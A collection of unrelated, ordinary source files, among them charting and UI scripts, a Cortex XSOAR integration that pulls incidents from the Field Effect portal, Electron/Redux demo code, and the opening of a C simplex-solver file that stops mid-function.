arg = el['body'][-1],
callback = self._gather_plots_callback,
match = ['plot'],
q = q,
stock = stock
)
else:
for ell in el['body']:
walk_and_process_dict(
arg = ell,
callback = self._gather_plots_callback,
match = ['plot'],
q = q,
stock = stock
)
elif isinstance(el['body'], dict):
walk_and_process_dict(
arg = el['body'],
callback = self._gather_plots_callback,
match = ['plot'],
q = q,
stock = stock
)
else:
if self._debug:
self.logger.debug(f" Skipping doc: unrecognized body type ({type(el['body'])}")
# self._load_plots(q, stock, get_by_path(el['body'], rel_path) if nested else el['body'][rel_path])
if self.limit and self.limit > i:
break
return self
def _gather_plots_callback(self, path, k, d, **kwargs) -> None:
if self.enforce_base_path and kwargs['q'].path:
# quick n dirty (to be improved)
# will yield troubles if path keys contain numbers
# will yield troubles with double digit sequence ('body.data.0.21.tra')
# but those can't be used for matching anyway
sequenceless_path = "body." + path.translate(remove_digits).replace("..", "")
if sequenceless_path not in kwargs['q'].path:
if self._debug:
self.logger.debug(
f" Ignoring plot(s) with path body.{path}.plot "
f" (Path {sequenceless_path[:-1]} is outside base path {kwargs['q'].path})"
)
return
if self._debug:
if path:
self.logger.debug(f" Loading plot(s) with path body.{path}.plot")
else:
self.logger.debug(" Loading plot(s) with path body.plot")
self._load_plots(kwargs['q'], kwargs['stock'], [d[k]] if isinstance(d[k], dict) else d[k])
def _load_plots(self, query: SVGQuery, stock: StockId, plots: Sequence[SVGRecord]) -> None:
if not plots:
return
for i, p in enumerate(plots):
if self._debug:
self.logger.debug(f"Loading plot with index {i}")
if query.plot_tag:
if 'with' in query.plot_tag:
wqt = query.plot_tag['with']
if (
(isinstance(wqt, AllOf) and not all(x in p['tag'] for x in wqt.all_of)) or
(isinstance(wqt, AnyOf) and not [x in p['tag'] for x in wqt.any_of]) or
(isinstance(wqt, OneOf) and not wqt.any_of == [p['tag']]) or
(isinstance(wqt, (int, str)) and wqt not in p['tag'])
):
if self.logger and self.logger.verbose > 1:
self.logger.debug("Excluding plot (tag matching failed)")
continue
if isinstance(p['svg'], ObjectId):
if self._debug:
self.logger.debug(f"Side-loading {p['name']}")
p['svg'] = next(self._plot_col.find({'_id': p['svg']}))['svg']
self._plots[stock].add_raw_db_dict(p)
|
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
var Berth = (function () {
/**
*
* @param {type} paper
* @param {type} x
* @param {type} y
* @param {type} name
* @param {type} mode 0=standard, 1 for right, 2 for left (not used 3=both left & right)
* @returns {signalmap_L7.Berth}
*/
function Berth(paper, x, y, name, mode) {
this.name = name;
this.mode = typeof mode === 'undefined' ? 0 : mode;
var w = 5 * name.length, x1 = SignalMap.px(x), y1 = SignalMap.py(y);
//this.rect = paper.rect(x1 - w, y1 - 8, 2 * w, 16);
var ary = ['M', x1 - w, y1 - 8, 'L', x1 + w, y1 - 8];
if ((mode & 1) === 1)
ary = ary.concat(['L', x1 + w + 4, y1]);
ary = ary.concat(['L', x1 + w, y1 + 8, 'L', x1 - w, y1 + 8]);
if ((mode & 2) === 2)
ary = ary.concat(['L', x1 - w - 4, y1]);
//ary = ary.concat(['L', x1 - w, y1 - 8]);
this.rect = paper.path(ary.concat(['Z']));
this.text = paper.text(x1, y1, name).attr('font-size', '10px');
this.rect.node.setAttribute('id','b_'+name);
this.rect.node.setAttribute('class','berth');
this.text.node.setAttribute('id','t_'+name);
this.text.node.setAttribute('def',name);
this.text.node.setAttribute('class','berth');
this.clear();
}
Berth.prototype.clear = function () {
this.text.attr({
'text': this.name,
'fill': '#999'
});
this.rect.attr({
'fill': '#fff'
});
};
Berth.prototype.set = function (name) {
this.text.attr({
'text': name,
'fill': '#000'
});
this.rect.attr({
'fill': '#ff0'
});
};
return Berth;
})();
var SignalMap = (function () {
function SignalMap(id, area, title) {
this.id = id;
this.area = area;
this.title = title;
this.berths = {};
this.paper = Raphael($(id)[0], SignalMap.pw(SignalAreaMap.width), SignalMap.ph(SignalAreaMap.height));
}
SignalMap.pw = function (x) {
return 50 * x;
};
SignalMap.ph = function (y) {
return 25 * y;
};
SignalMap.px = function (x) {
return 50 + SignalMap.pw(x);
};
SignalMap.py = function (y) {
return 50 + SignalMap.ph(y);
};
SignalMap.prototype.path = function (p) {
return this.paper.
path(p).
attr({
fill: '#888',
stroke: '#888'
});
};
SignalMap.prototype.station = function (x, y, name) {
return this.paper.text(SignalMap.px(x), SignalMap.py(y) - 20, name).
attr({
'font-size': '8px'
});
};
SignalMap.prototype.platform = function (x, y, w, n1, n2) {
this.paper.rect(SignalMap.px(x), SignalMap.py(y) - 2, SignalMap.pw(w), 3).
attr('stroke', '#ccc').attr('fill', '#ccc');
if (typeof n1 !== 'undefined')
this.paper.text(SignalMap.px(x + (w / 2)), SignalMap.py(y) - 4, n1).
attr('font-size', '7px');
if (typeof n2 !== 'undefined')
this.paper.text(SignalMap.px(x + (w / 2)), SignalMap.py(y) + 4, n2).
attr('font-size', '7px');
};
SignalMap.prototype.berth = function (x, y, name) {
this.berths[name] = new Berth(this.paper, x, y, name, 0);
};
SignalMap.prototype.berthr = function (x, y, name) {
this.berths[name] = new Berth(this.paper, x, y, name, 1);
};
SignalMap.prototype.berthl = function (x, y, name) {
this.berths[name] = new Berth(this.paper, x, y, name, 2);
};
SignalMap.points = function (ary, x1, y1, y2) {
var px1 = SignalMap.px(x1 + 0.5), px2 = SignalMap.px(x1 + 1);
var py1 = SignalMap.py(y1), py2 = SignalMap.py(y2);
return ary.concat(['M', px1, py1, 'L', px2, py2]);
};
SignalMap.line = function (ary, x1, y1, x2, y2) {
if (typeof y2 === 'undefined')
y2 = y1;
if (y1 === y2)
ary = ary.concat([
'M', SignalMap.px(x1), SignalMap.py(y1),
'L', SignalMap.px(x2), SignalMap.py(y2)
]);
else
ary = ary.concat([
'M', SignalMap.px(x1), SignalMap.py(y1),
'Q', SignalMap.px(x1 + ((x2 - x1) / 2.0)), SignalMap.py(y1 + ((y2 - y1) / 2.0)),
'L', SignalMap.px(x2), SignalMap.py(y2)
]);
return ary;
};
SignalMap.down = function (ary, x, y) {
var px1 = SignalMap.px(x), py1 = SignalMap.py(y);
return ary.concat([
'M', px1 - 2.5, py1 - 5,
'L', px1 + 2.5, py1,
'L', px1 - 2.5, py1 + 5,
'Z'
]);
};
SignalMap.up = function (ary, x, y) {
var px1 = SignalMap.px(x), py1 = SignalMap.py(y);
return ary.concat([
'M', px1 + 2.5, py1 - 5,
'L', px1 - 2.5, py1,
'L', px1 + 2.5, py1 + 5,
'Z'
]);
};
SignalMap.buffer = function (ary, x, y) {
var px1 = SignalMap.px(x), py1 = SignalMap.py(y);
return ary.concat([
'M', px1 + 1, py1 - 5,
'L', px1 + 1, py1 + 5,
'L', px1 - 1, py1 + 5,
'L', px1 - 1, py1 - 5,
'Z'
]);
};
SignalMap.prototype.update = function (map) {
$.ajax({
url: '/api/rail/1/signal/occupied/' + map.area,
type: 'GET',
dataType: 'json',
async: true,
statusCode: {
200: function (v) {
map.refreshBerths(map, v);
},
500: function () {
map.queueUpdate(map);
}
}
});
};
SignalMap.prototype.refreshBerths = function (map, v) {
// Clear all berths
$.each(map.berths, function (k, v) {
v.clear();
});
// Plot current berths
$.each(v, function (k, v) {
var b = map.berths[k];
if (typeof b !== 'undefined')
b.set(v);
});
// Queue the next update
map.queueUpdate(map);
// Updated time
var d = new Date, h = d.getHours(), m = d.getMinutes(), s = d.getSeconds();
var t = '';
if (h < 10)
t += '0';
t += h + ':';
if (m < 10)
t += '0';
t += m + ':';
if (s < 10)
t += '0';
t += s;
$('#updated').empty().text(t);
};
SignalMap.prototype.queueUpdate = function (map) {
// Hide table showing movements until restored
$('#recentMovement').parent().empty();
setTimeout(function () {
map.update(map);
}, 10000);
};
SignalMap.updateNotice = function(map) {
map.station(7, 0, 'This signal map is currently being updated with new information.\nSome berths may be in error whilst updates are being made').attr({
fill: '#f66'
});
};
SignalMap.update = function(map, y1){
var a = SignalMap.line([], 0, y1, 13, y1);
map.path(a).attr({
fill: '#f66',
stroke: '#f66',
'stroke-dasharray': '5,5'
});
map.station(6, y1+0.5, 'Above this line has been updated').attr({
fill: '#f66'
});
map.station(6, y1+1.25, 'Below this line pending updates').attr({
fill: '#f66'
});
return y1+2;
};
return SignalMap;
})();
|
export default {
methods: {
toastSuccess (message, title = undefined) {
if (title === undefined) {
title = this.$t('notification:general.success')
}
this.toast(message, { title, variant: 'success' })
},
toastWarning (message, title = undefined) {
if (title === undefined) {
title = this.$t('notification:general.warning')
}
this.toast(message, { title, variant: 'warning' })
},
toastDanger (message, title = undefined) {
if (title === undefined) {
title = this.$t('notification:general.error')
}
this.toast(message, { title, variant: 'danger' })
},
toast (msg, opt = { variant: 'success' }) {
this.$root.$bvToast.toast(msg, opt)
},
toastErrorHandler (opt) {
if (typeof opt === 'string') {
opt = { prefix: opt }
}
const { prefix, title } = opt
return (err = {}) => {
/* eslint-disable no-console */
console.error(err)
const msg = err.message ? (prefix + ': ' + err.message) : prefix
this.toastDanger(msg, title)
}
},
},
}
|
import sys
import os
sys.path.append(os.path.abspath('./plot/'))
from option import *
import matplotlib as mpl
mpl.use('Agg')
import matplotlib.pyplot as plot
import matplotlib.ticker as ticker
import numpy as np
import csv
def autolabel(rects):
for rect in rects:
height = rect.get_height()
ax.text(rect.get_x() + rect.get_width()/2., height + 0.01,
'%0.1f' % float(height),
# '%d' % int(height),
ha='center', va='bottom')
NAMES = ["Single-Char", "Double-Char", "3-Grams", "4-Grams", "ALM", "ALM-Improved"]
TYPES = ["Dict-A, Email-A", "Dict-B, Email-B", "Dict-A, Email-B", "Dict-B, Email-A"]
REPEAT_TIMES = 2
GROUP_SIZE = 6
COLORS = ['#fee8c8', '#fc8d59', '#d7301f', '#7f0000']
Y_LABEL = "Compression Rate"
X_TICK_FONT_SIZE = 14
Y_TICK_FONT_SIZE = 16
LEGEND_FONT_SIZE = 14
LEGEND_POS = 'upper left'
CSV_X_FILE_PATH = "results/microbench/distribution/dis_cpr.csv"
GRAPH_OUTPUT_PATH = "figures/microbench/distribution/dis_cpr.pdf"
f_in_x = open(CSV_X_FILE_PATH)
reader = csv.reader(f_in_x)
csvrows = list(reader)
data = []
for row in csvrows :
for item in row :
data.append(float(item))
single = data[0:4]
double = data[4:8]
three_gram = data[8:12]
four_gram = data[12:16]
alm = data[16:20]
alm_improve = data[20:24]
all_data = [single, double, three_gram, four_gram, alm, alm_improve]
#========================================================================================
mpl.rcParams['ps.useafm'] = True
mpl.rcParams['pdf.use14corefonts'] = True
mpl.rcParams['text.usetex'] = False
mpl.rcParams['text.latex.preamble'] = [
r'\usepackage{siunitx}', # i need upright \micro symbols, but you need...
r'\sisetup{detect-all}', # ...this to force siunitx to actually use your fonts
r'\usepackage{helvet}', # set the normal font here
r'\usepackage{sansmath}', # load up the sansmath so that math -> helvet
r'\sansmath' # <- tricky! -- gotta actually tell tex to use!
]
#========================================================================================
fig = plot.figure(figsize=(8.5, 4))
ax = fig.add_subplot(111)
ax.set_xlim([0,1])
width = 1.0 / (GROUP_SIZE * 4 + GROUP_SIZE + 2)
recs = []
pos = []
for i in range(GROUP_SIZE):
recs.append(ax.bar(width * 1.5 + i * (4 + 1) * width, all_data[i][0], width, color=COLORS[0], linewidth = BORDER_SIZE, edgecolor = BORDER_COLOR))
recs.append(ax.bar(width * 1.5 + i * (4 + 1) * width + width, all_data[i][1], width, color=COLORS[1], linewidth = BORDER_SIZE, edgecolor = BORDER_COLOR))
pos.append(width * 1.5 + i * (4 + 1) * width + width * 2)
recs.append(ax.bar(width * 1.5 + i * (4 + 1) * width + width * 2, all_data[i][2], width, color=COLORS[2], linewidth = BORDER_SIZE, edgecolor = BORDER_COLOR, ))
recs.append(ax.bar(width * 1.5 + i * (4 + 1) * width + width * 3, all_data[i][3], width, color=COLORS[3], linewidth = BORDER_SIZE, edgecolor = BORDER_COLOR, ))
for rec in recs:
autolabel(rec)
y_ticks = [0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5]
ax.set_yticks(y_ticks)
ax.set_ylim(0, 3.5)
ax.set_ylabel(Y_LABEL, fontsize=Y_LABEL_FONT_SIZE - 4)
ax.legend(recs[0:3], ncol=len(TYPES)/2, loc='upper left', labels=TYPES, fontsize='medium')
ax.set_xticks(pos)
ax.set_xticklabels(NAMES, rotation=20)
for label in ax.get_xticklabels():
label.set_fontsize(X_TICK_FONT_SIZE)
for label in ax.get_yticklabels():
label.set_fontsize(Y_TICK_FONT_SIZE)
plot.savefig(GRAPH_OUTPUT_PATH, bbox_inches='tight')
|
{% include 'aptronics/public/js/bundling.js' %}
frappe.ui.form.on("Quotation", {
refresh: (frm) =>{
aptronics.disallow_attachment_delete(frm)
},
before_cancel: (frm) => {
aptronics.provide_cancellation_reason(frm);
}
});
|
"""aqueduct SERVICES MODULE"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from aqueduct.services.carto_service import CartoService
from aqueduct.services.geostore_service import GeostoreService
|
"use strict";
var __extends = (this && this.__extends) || (function () {
var extendStatics = function (d, b) {
extendStatics = Object.setPrototypeOf ||
({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||
function (d, b) { for (var p in b) if (b.hasOwnProperty(p)) d[p] = b[p]; };
return extendStatics(d, b);
};
return function (d, b) {
extendStatics(d, b);
function __() { this.constructor = d; }
d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());
};
})();
var __assign = (this && this.__assign) || function () {
__assign = Object.assign || function(t) {
for (var s, i = 1, n = arguments.length; i < n; i++) {
s = arguments[i];
for (var p in s) if (Object.prototype.hasOwnProperty.call(s, p))
t[p] = s[p];
}
return t;
};
return __assign.apply(this, arguments);
};
Object.defineProperty(exports, "__esModule", { value: true });
var BaseChart_1 = require("./BaseChart");
var dc_1 = require("dc");
var React = require("react");
var RowChart = (function (_super) {
__extends(RowChart, _super);
function RowChart() {
return _super !== null && _super.apply(this, arguments) || this;
}
RowChart.prototype.render = function () {
return (React.createElement(BaseChart_1.default, __assign({}, this.props, { setChartRef: this.setChart })));
};
RowChart.prototype.setChart = function (parent, chartGroup) {
return dc_1.rowChart(parent, chartGroup);
};
return RowChart;
}(React.PureComponent));
exports.default = RowChart;
//# sourceMappingURL=RowChart.js.map
|
import os
import requests
import traceback
import json
from datetime import datetime, timedelta
from requests import HTTPError
from CommonServerPython import *
import demistomock as demisto
DATE_FORMAT = '%Y-%m-%d %H:%M:%S'
EMAIL = demisto.params().get('credentials')['identifier']
API_KEY = demisto.params().get('credentials')['password']
FIRST_RUN_TIME_RANGE = int(demisto.params().get('first_run_time_range').strip())
PROXY = demisto.params().get('proxy')
if not demisto.params().get('proxy', False):
del os.environ['HTTP_PROXY']
del os.environ['HTTPS_PROXY']
del os.environ['http_proxy']
del os.environ['https_proxy']
class Portal():
def __init__(self, bearer=None, portal_url="https://services.fieldeffect.net/v1", provider=None, verbose=False):
self.auth = None
self.portal_url = portal_url
self.verbose = verbose
self.provider_name = provider
if bearer == "gan ceann":
self.scheme = self.AuthScheme.FES
# Headless login for those cursed with a GUI
elif bearer:
self.scheme = self.AuthScheme.BEARER
self.auth = {"token": bearer, "expires": datetime.now() + timedelta(days=10 * 365), "refresh": None}
self.provider_id = self.get_provider_id()
else:
raise ValueError('Bearer is missing')
class AuthScheme(object):
FES = 'FieldEffectAuth'
BEARER = 'Bearer'
KEY = 'FieldEffectKey'
def try_saved_token(self, token):
# Return True if this token works, also save this token as the token
# Return False if this token doesn't work and user will need to auth
try:
self.auth = token
if self.provider_name:
self.provider_id = self.find_provider(self.provider_name)
else:
self.provider_id = self.get_provider_id()
return True
except requests.exceptions.HTTPError:
self.auth = None
return False
def get(self, uri, query=None, headers=None, remove_subdomain=False, **kwargs):
return self._request(uri, method='GET', query=query, headers=headers, remove_subdomain=remove_subdomain,
**kwargs)
def _request(self, uri, method='GET', query=None, json=None, data=None, files=None, headers=None,
remove_subdomain=False, **kwargs):
all_headers = {
'Content-Type': 'application/json'
} if json is not None else {}
if headers is not None:
all_headers.update(headers)
if self.auth:
auth = '{} {}'.format(self.scheme, self.auth['token'])
all_headers.update({'Authorization': auth})
url = '{}/{}'.format(self.portal_url, uri if len(kwargs) == 0 else uri.format(**kwargs))
if remove_subdomain:
url = url.replace('services.', '')
if self.verbose:
sys.stdout.write('{} {} '.format(method, url))
if method == 'GET':
r = requests.get(url, headers=all_headers, params=query)
elif method == 'POST':
r = requests.post(url, headers=all_headers, json=json, data=data, params=query, files=files)
elif method == 'PUT':
r = requests.put(url, headers=all_headers, json=json, data=data, params=query, files=files)
elif method == 'DELETE':
r = requests.delete(url, headers=all_headers, params=query)
else:
raise AssertionError('Unsupported HTTP method: {}'.format(method))
if self.verbose:
sys.stdout.write(str(r.status_code) + '\n')
if r.status_code >= 400:
raise HTTPError(r.text)
return r
def get_provider_id(self):
r = self.get('my_providers', auth=self.auth)
if not r.json():
raise ValueError(f'Account {EMAIL} is not part of any provider')
return r.json()[0]['ID']
def find_provider(self, provider):
r = self.get('providers', auth=self.auth)
providers = r.json()
for prov in providers:
if provider == prov["name"] or provider == prov["ID"]:
return prov["ID"]
return None
def get_organizations(self):
r = self.get('my_providers/{id}/organizations', auth=self.auth, id=self.provider_id)
return r.json()
def find_organizations(self, org):
r = self.get('my_providers/{id}/organizations', auth=self.auth, id=self.provider_id)
orgs = r.json()
matches = []
for o in orgs:
if org.lower() in o["name"].lower():
matches.append(o)
return matches
def get_aros(self, **kwargs):
aros = []
if "query" not in kwargs:
kwargs["query"] = {}
kwargs["query"]["limit"] = 500
r = self.get('providers/{id}/aros', auth=self.auth, id=self.provider_id, **kwargs).json()
aros.extend(r["items"])
while len(aros) < r["total"]:
kwargs["query"]["page"] = r["page"] + 1
r = self.get('providers/{id}/aros', auth=self.auth, id=self.provider_id, **kwargs).json()
aros.extend(r["items"])
return aros
def get_active_response_profile(self, org_id):
r = self.get('my_organizations/{org_id}', auth=self.auth, org_id=org_id)
org_details = r.json()
return org_details.get('active_response_profile', None)
''' Commands '''
def portal_check():
'''
Poking to the portal to make sure it's up
'''
try:
Portal(bearer=API_KEY)
return True
except Exception:
demisto.log(traceback.format_exc())
return False
def fetch_incidents(last_run, first_run_time_range):
last_fetch = last_run.get('last_fetch', None)
last_aro_id = last_run.get('last_aro_id', None)
aro_time_max = datetime.utcnow()
if last_fetch is None:
aro_time_min = aro_time_max - timedelta(days=first_run_time_range)
else:
aro_time_min = dateparser.parse(last_fetch) # type: ignore
assert aro_time_min is not None
p = Portal(bearer=API_KEY)
query = {'resolution': 'Unresolved',
'since': aro_time_min.strftime(DATE_FORMAT),
'until': aro_time_max.strftime(DATE_FORMAT)}
aros = p.get_aros(query=query)
incidents = []
latest_created_time = aro_time_min
# aros is ordered by most recent ARO
# it's required to traverse aros in chronological order (so last element first)
# to avoid duplicating incidents
for a in reversed(aros):
if a['ID'] != last_aro_id:
created_time = dateparser.parse(a['creation_time'])
assert created_time is not None, f'could not parse {a["creation_time"]}'
created_time_str = created_time.strftime(DATE_FORMAT)
if a.get('organization', None):
org_name = a['organization'].get('name', 'No org name')
org_id = a['organization'].get('ID', None)
else:
org_name = 'No org name'
org_id = None
aro_type = a.get('type', 'No ARO type')
aro_title = a.get('title', 'No title')
incident: Dict[str, Any] = {
'name': f'''[{org_name}] [{aro_type}] {aro_title}''',
'occured': created_time_str,
'rawJSON': json.dumps(a)
}
if a.get('severity', None):
# XSOAR mapping
# Unknown: 0
# Informational: 0.5
# Low: 1
# Medium: 2
# High: 3
# Critical: 4
severity_from_portal = a['severity']
if severity_from_portal == 'Informational':
incident['severity'] = 0.5
elif severity_from_portal == 'Warning':
incident['severity'] = 1
elif severity_from_portal == 'Low':
incident['severity'] = 1
elif severity_from_portal == 'Medium':
incident['severity'] = 2
elif severity_from_portal == 'High':
incident['severity'] = 3
elif severity_from_portal == 'Critical':
incident['severity'] = 4
else:
incident['severity'] = 0
if a.get('details', None):
incident['details'] = a['details']
if a.get('steps', None):
if len(a['steps']) > 0:
incident['details'] += '\n\nMitigation Steps\n'
for step in a['steps']:
incident['details'] += f'''- {step['label']}\n'''
if org_id:
active_response_profile = p.get_active_response_profile(org_id)
if active_response_profile:
policy = active_response_profile.get('response_policy')
options = active_response_profile.get('options')
incident['details'] += '\nActive Response Profile\n'
incident['details'] += f'''- Response policy: {policy}\n'''
incident['details'] += f'''- Exclusions/ Modifications: {options}\n'''
incidents.append(incident)
if created_time > latest_created_time:
latest_created_time = created_time
last_aro_id = a['ID']
next_run = {'last_fetch': latest_created_time.strftime(DATE_FORMAT),
'last_aro_id': last_aro_id}
return next_run, incidents
def get_aros():
p = Portal(bearer=API_KEY)
q = demisto.args().get('query', None)
if q:
query = {} # pragma: no cover
for param in q.split('&'):
key = param.split('=')[0]
value = param.split('=')[1]
query[key] = value
if 'org' in query:
org = p.find_organizations(query['org'])
if not org:
raise ValueError(f'Unknown organization named {query["org"]}')
del query['org']
query['organization_id'] = org[0]['ID']
aros = p.get_aros(query=query)
else:
aros = p.get_aros()
details = argToBoolean(demisto.args().get('details', 'false'))
keys = ['title',
'organization',
'resolution',
'severity',
'status',
'type']
if not details:
filtered_r = []
# returning only data in keys
for aro in aros:
a = {k: aro[k] for k in keys}
filtered_r.append(a)
return filtered_r
else:
return aros
def list_organizations():
p = Portal(bearer=API_KEY)
return p.get_organizations()
def main():
demisto.info(f'{demisto.command()} is called')
try:
if demisto.command() == 'test-module':
if portal_check():
return_results('ok')
else:
return_results('nok')
elif demisto.command() == 'fetch-incidents':
next_run, incidents = fetch_incidents(
last_run=demisto.getLastRun(),
first_run_time_range=FIRST_RUN_TIME_RANGE)
demisto.setLastRun(next_run)
demisto.incidents(incidents)
elif demisto.command() == 'cov-mgsec-get-aro':
r = get_aros()
if r:
readable_output = tableToMarkdown('AROs', r, removeNull=True, headerTransform=string_to_table_header)
else:
readable_output = 'No AROs found'
results = CommandResults(
outputs_prefix='FESPortal.ARO',
outputs_key_field='ID',
outputs=r,
readable_output=readable_output
)
return_results(results)
elif demisto.command() == 'cov-mgsec-list-org':
r = list_organizations()
if r:
readable_output = tableToMarkdown('Organizations', r, removeNull=True,
headerTransform=string_to_table_header)
else:
readable_output = 'No organizations found'
results = CommandResults(
outputs_prefix='FESPortal.Org',
outputs_key_field='ID',
outputs=r,
readable_output=readable_output
)
return_results(results)
else:
msg = f'Unknown command {demisto.command()}'
demisto.error(msg)
except Exception as e:
demisto.error(traceback.format_exc())
return_error(f'Failed to execute {demisto.command()} command. Error: {str(e)}. {traceback.format_exc()}')
if __name__ in ('__main__', '__builtin__', 'builtins'):
main()
|
import app from './app';
import express from './express_config';
import LoggerClass from './logger';
import server from './server';
const logger = new LoggerClass({logDirectory: app.logDirectory});
export default {
app,
express,
logger,
server,
};
|
const { createStore, applyMiddleware } = require('redux');
const {
forwardToMain,
replayActionRenderer,
getInitialStateRenderer,
createAliasedAction,
} = require('electron-redux');
const reducers = require('../reducers');
// setup store
const initialState = getInitialStateRenderer();
const store = createStore(reducers, initialState, applyMiddleware(forwardToMain));
replayActionRenderer(store);
// set up renderer
function mount() {
document.getElementById('app').innerHTML = `
<p>
Clicked: <span id="value">0</span> times
<button id="increment">+</button>
<button id="decrement">-</button>
<button id="incrementAliased">Increment (aliased)</button>
</p>
`;
document.getElementById('increment').addEventListener('click', () => {
store.dispatch({ type: 'INCREMENT' });
});
document.getElementById('decrement').addEventListener('click', () => {
store.dispatch({ type: 'DECREMENT' });
});
document.getElementById('incrementAliased').addEventListener('click', () => {
store.dispatch(createAliasedAction('INCREMENT_ALIASED', () => ({ type: 'INCREMENT' }))());
});
}
function renderValue() {
document.getElementById('value').innerHTML = store.getState().toString();
}
mount();
renderValue();
store.subscribe(renderValue);
|
const path = require('path');
module.exports = {
entry: './src/main.js',
mode: 'production',
output: {
filename: 'dwains-header-card.js',
path: path.resolve(__dirname)
}
};
|
import ReactDOM from 'react-dom';
import Routes from './routes';
import './index.css';
import 'material-components-web/dist/material-components-web.css';
ReactDOM.render(Routes, document.getElementById('root'));
|
/* JS Document */
/******************************
[Table of Contents]
1. Vars and Inits
2. Set Header
3. Init Menu
4. Init Header Search
5. Init Home Slider
6. Initialize Milestones
******************************/
$(document).ready(function()
{
"use strict";
/*
1. Vars and Inits
*/
var header = $('.header');
var menuActive = false;
var menu = $('.menu');
var burger = $('.hamburger');
var ctrl = new ScrollMagic.Controller();
setHeader();
$(window).on('resize', function()
{
setHeader();
});
$(document).on('scroll', function()
{
setHeader();
});
initMenu();
initHeaderSearch();
initHomeSlider();
initMilestones();
/*
2. Set Header
*/
function setHeader()
{
if($(window).scrollTop() > 100)
{
header.addClass('scrolled');
}
else
{
header.removeClass('scrolled');
}
}
/*
3. Init Menu
*/
function initMenu()
{
if($('.menu').length)
{
var menu = $('.menu');
if($('.hamburger').length)
{
burger.on('click', function()
{
if(menuActive)
{
closeMenu();
}
else
{
openMenu();
$(document).one('click', function cls(e)
{
if($(e.target).hasClass('menu_mm'))
{
$(document).one('click', cls);
}
else
{
closeMenu();
}
});
}
});
}
}
}
function openMenu()
{
menu.addClass('active');
menuActive = true;
}
function closeMenu()
{
menu.removeClass('active');
menuActive = false;
}
/*
4. Init Header Search
*/
function initHeaderSearch()
{
if($('.search_button').length)
{
$('.search_button').on('click', function()
{
if($('.header_search_container').length)
{
$('.header_search_container').toggleClass('active');
}
});
}
}
/*
5. Init Home Slider
*/
function initHomeSlider()
{
if($('.home_slider').length)
{
var homeSlider = $('.home_slider');
homeSlider.owlCarousel(
{
items:1,
loop:true,
autoplay:true,
nav:false,
dots:false,
smartSpeed:1200
});
if($('.home_slider_prev').length)
{
var prev = $('.home_slider_prev');
prev.on('click', function()
{
homeSlider.trigger('prev.owl.carousel');
});
}
if($('.home_slider_next').length)
{
var next = $('.home_slider_next');
next.on('click', function()
{
homeSlider.trigger('next.owl.carousel');
});
}
}
}
/*
6. Initialize Milestones
*/
function initMilestones()
{
if($('.milestone_counter').length)
{
var milestoneItems = $('.milestone_counter');
milestoneItems.each(function(i)
{
var ele = $(this);
var endValue = ele.data('end-value');
var eleValue = ele.text();
/* Use data-sign-before and data-sign-after to add signs
infront or behind the counter number */
var signBefore = "";
var signAfter = "";
if(ele.attr('data-sign-before'))
{
signBefore = ele.attr('data-sign-before');
}
if(ele.attr('data-sign-after'))
{
signAfter = ele.attr('data-sign-after');
}
var milestoneScene = new ScrollMagic.Scene({
triggerElement: this,
triggerHook: 'onEnter',
reverse:false
})
.on('start', function()
{
var counter = {value:eleValue};
var counterTween = TweenMax.to(counter, 4,
{
value: endValue,
roundProps:"value",
ease: Circ.easeOut,
onUpdate:function()
{
document.getElementsByClassName('milestone_counter')[i].innerHTML = signBefore + counter.value + signAfter;
}
});
})
.addTo(ctrl);
});
}
}
});
|
/*
** Copyright 2007-2018 RTE
** Author: Robert Gonzalez
**
** This file is part of Sirius_Solver.
** This program and the accompanying materials are made available under the
** terms of the Eclipse Public License 2.0 which is available at
** http://www.eclipse.org/legal/epl-2.0.
**
** This Source Code may also be made available under the following Secondary
** Licenses when the conditions for such availability set forth in the Eclipse
** Public License, v. 2.0 are satisfied: GNU General Public License, version 3
** or later, which is available at <http://www.gnu.org/licenses/>.
**
** SPDX-License-Identifier: EPL-2.0 OR GPL-3.0
*/
/***********************************************************************
FONCTION:
AUTEUR: R. GONZALEZ
************************************************************************/
# include "spx_sys.h"
# include "spx_fonctions.h"
# include "spx_define.h"
# include "lu_define.h"
# include "lu_fonctions.h"
# define SEUIL_CARRE_DE_NORME_TROP_FAIBLE 1.e-4 /*1.e-4*/
# define DUAL_POIDS_INITIAL 1.0
# define VERBOSE_SPX 0
/*----------------------------------------------------------------------------*/
void SPX_InitDualPoids( PROBLEME_SPX * Spx )
{
int Var; int Cnt; char * PositionDeLaVariable; char * InDualFramework;
double * DualPoids; double * Tau;
# if VERBOSE_SPX
printf("SPX_InitDualPoids\n");
# endif
PositionDeLaVariable = Spx->PositionDeLaVariable;
InDualFramework = Spx->InDualFramework;
for ( Var = 0 ; Var < Spx->NombreDeVariables ; Var++ ) {
if ( PositionDeLaVariable[Var] == EN_BASE_LIBRE ) InDualFramework[Var] = OUI_SPX;
else InDualFramework[Var] = NON_SPX;
}
DualPoids = Spx->DualPoids;
Tau = Spx->Tau ;
for ( Cnt = 0 ; Cnt < Spx->NombreDeContraintes ; Cnt++ ) {
DualPoids[Cnt] = DUAL_POIDS_INITIAL;
Tau [Cnt] = 0.0;
}
Spx->LeSteepestEdgeEstInitilise = OUI_SPX;
Spx->CalculTauEnHyperCreux = OUI_SPX;
Spx->CalculTauEnHyperCreuxPossible = OUI_SPX;
Spx->CountEchecsTau = 0;
Spx->AvertissementsEchecsTau = 0;
Spx->NbEchecsTau = 0;
return;
}
/*----------------------------------------------------------------------------*/
void SPX_ResetReferenceSpace( PROBLEME_SPX * Spx )
{
char A1; char A2;
A1 = Spx->PositionDeLaVariable[Spx->VariableSortante];
A2 = Spx->PositionDeLaVariable[Spx->VariableEntrante];
Spx->PositionDeLaVariable[Spx->VariableSortante] = HORS_BASE_SUR_BORNE_INF;
Spx->PositionDeLaVariable[Spx->VariableEntrante] = EN_BASE_LIBRE;
SPX_InitDualPoids( Spx );
Spx->PositionDeLaVariable[Spx->VariableSortante] = A1;
Spx->PositionDeLaVariable[Spx->VariableEntrante] = A2;
return;
}
/*----------------------------------------------------------------------------*/
void SPX_DualSteepestGestionIndicateursHyperCreux( PROBLEME_SPX * Spx, char ResolutionEnHyperCreux,
char HyperCreuxInitial, char TypeDeSortie,
char * StockageDeTau, char * ResetRefSpace )
{
int il; int i; char * InDualFramework; int * NumerosDesVariablesHorsBase;
if ( ResolutionEnHyperCreux == OUI_SPX ) {
